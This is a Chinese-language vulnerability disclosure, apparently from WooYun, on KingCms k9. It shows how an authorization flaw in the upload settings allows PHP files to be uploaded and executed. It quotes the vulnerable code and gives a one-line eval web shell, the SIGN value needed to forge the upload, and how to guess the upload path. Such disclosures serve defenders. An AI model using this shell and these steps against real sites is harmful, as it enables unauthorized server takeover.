### 简要描述:
KingCms最新版(k9)越权操作可轻松GetShell#2
### 详细说明:
朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。
在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520)
来看看这次shell是如何发生的吧,此漏洞一共涉及到两个大的问题,一个是越权修改后台配置,另一个是文件上传导致GetShell
0x00:先来看第一个问题
问题文件在/user/manage.php
```
function _upconfig(){
$u=new user;$u->auth_role('admin');
if(!kc_validate($_POST['imagesize'],2)) kc_tip('上传图片上限必须为数字!','form');
if(!kc_validate($_POST['filesize'],2)) kc_tip('上传文件上限必须为数字!','form');
if(!kc_validate($_POST['image_width'],2)) kc_tip('自动压缩图片宽度必须为数字!','form');
if(!kc_validate($_POST['image_height'],2)) kc_tip('自动压缩图片高度必须为数字!','form');
$db=new db;
$res=$db->getRows('%s_config','name',"class='up'");
foreach($res as $rs){
$db->update('%s_config',array('value'=>kc_post($rs['name'])),"class='up' and name='{$rs['name']}'");//注释1:这里把用户输入的filetype写入了数据库
}
$db->update('%s_config',array('value'=>empty($_POST['upfile'])?0:1),"class='switch' and name='upfile'");
$db->update('%s_config',array('value'=>empty($_POST['upimage'])?0:1),"class='switch' and name='upimage'");
$db->update('%s_config',array('value'=>$_POST['image_width']),"class='system' and name='image_width'");
$db->update('%s_config',array('value'=>$_POST['image_height']),"class='system' and name='image_height'");
kc_ajax(array('JS'=>"\$.kc_close();alert('成功更新上传设置!');\$('.Submit').removeAttr('disabled');"));
}
```
上面代码中的“注释1”处,把用户提交的filetype写入了数据库,如果用户提交的filetype为php的话,那就可以上传php文件了。过程如图
[<img src="https://images.seebug.org/upload/201503/19002031cf8a33e670fa0a27b3ac0e1028fcf40e.jpg" alt="后台修改上传设置副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19002031cf8a33e670fa0a27b3ac0e1028fcf40e.jpg)
0x01:再来看看文件是怎么上传的
```
$err = "";
$msg = "''";
$u=new user;
if($u->auth_group('user_upfile',true)==false) $err='您所在会员组会员无权上传文件';
$userid=$u->info['userid'];
$upfile=@$_FILES[$inputname];
if(!isset($upfile))$err='文件域的name错误';
elseif(!empty($upfile['error']))
{
无关代码
}
elseif(empty($upfile['tmp_name']) || $upfile['tmp_name'] == 'none')$err = '无文件上传';
else
{
$temppath=$upfile['tmp_name'];
$extension=strtolower(substr($upfile['name'],strrpos($upfile['name'],'.')+1));
echo str_replace(',','|',$upext);
if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))
{
$maxattachsize=5242880;
$bytes=$upfile['size'];//filesize($temppath);
if($bytes > $maxattachsize)$err='请不要上传大小超过'.formatBytes($maxattachsize).'的文件';
else
{
//创建目录
$attach_subdir =gmdate('y/m/d');
$attach_dir = PATH_UP.'/'.$attach_subdir;
$attach_subdirs=explode('/',$attach_subdir);
$attach_temp=ROOT.PATH_UP;
foreach($attach_subdirs as $r){
$attach_temp.='/'.$r;
if(!is_dir($attach_temp))
{
@mkdir($attach_temp, 0777);
@fclose(fopen($attach_temp.'/index.html', 'w'));
}
}
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
$filename=gmdate("His").mt_rand(1000,9999).'.'.$extension;
$target = $attach_dir.'/'.$filename;
//rename($upfile['tmp_name'],ROOT.$target);
rename($temppath,ROOT.$target);
无关代码
```
整个上传的过程简单来说是这样实现的:
1:获取允许上传的文件类型
2:获取上传文件的类型
3:判断文件是否允许上传(因为修改了配置,所以这里php文件是可以上传的)
4:上传后文件的路径
5:上传后文件的名字
然后分析第4、5步,可以得到文件上传的路径是以当前时间定义的,比如今天是2015-03-16,上传后文件的路径是/upfiles/15/03/16,文件是名字也是根据gmdate()获得格林威治时间,然后再加四位随机数,当然文件上传后可以通过文件属性获得其路径,也可以遍历这4个随机数(毕竟样本太少了,秒遍历啊)。
上传个php文件看看,内容为
```
<?php
eval($_POST["p"]);
?>
```
注意,URL中的一个参数SIGN是这样计算出来的
```
<?php
$str="10000";//10000即POST参数中的USERID
$str.="kingcms.com";//网站域名
$SIGN=md5($str);
?>
```
[<img src="https://images.seebug.org/upload/201503/190020514c1a21c24f01598aa5e0749490cc6336.jpg" alt="上传文件副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/190020514c1a21c24f01598aa5e0749490cc6336.jpg)
上传成功后就可以为所欲为了,大马、菜刀…,这里测试一下吧
[<img src="https://images.seebug.org/upload/201503/19002108c56ef4dc01414a460efef78e67ae36f6.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19002108c56ef4dc01414a460efef78e67ae36f6.jpg)
### 漏洞证明:
见 详细说明
暂无评论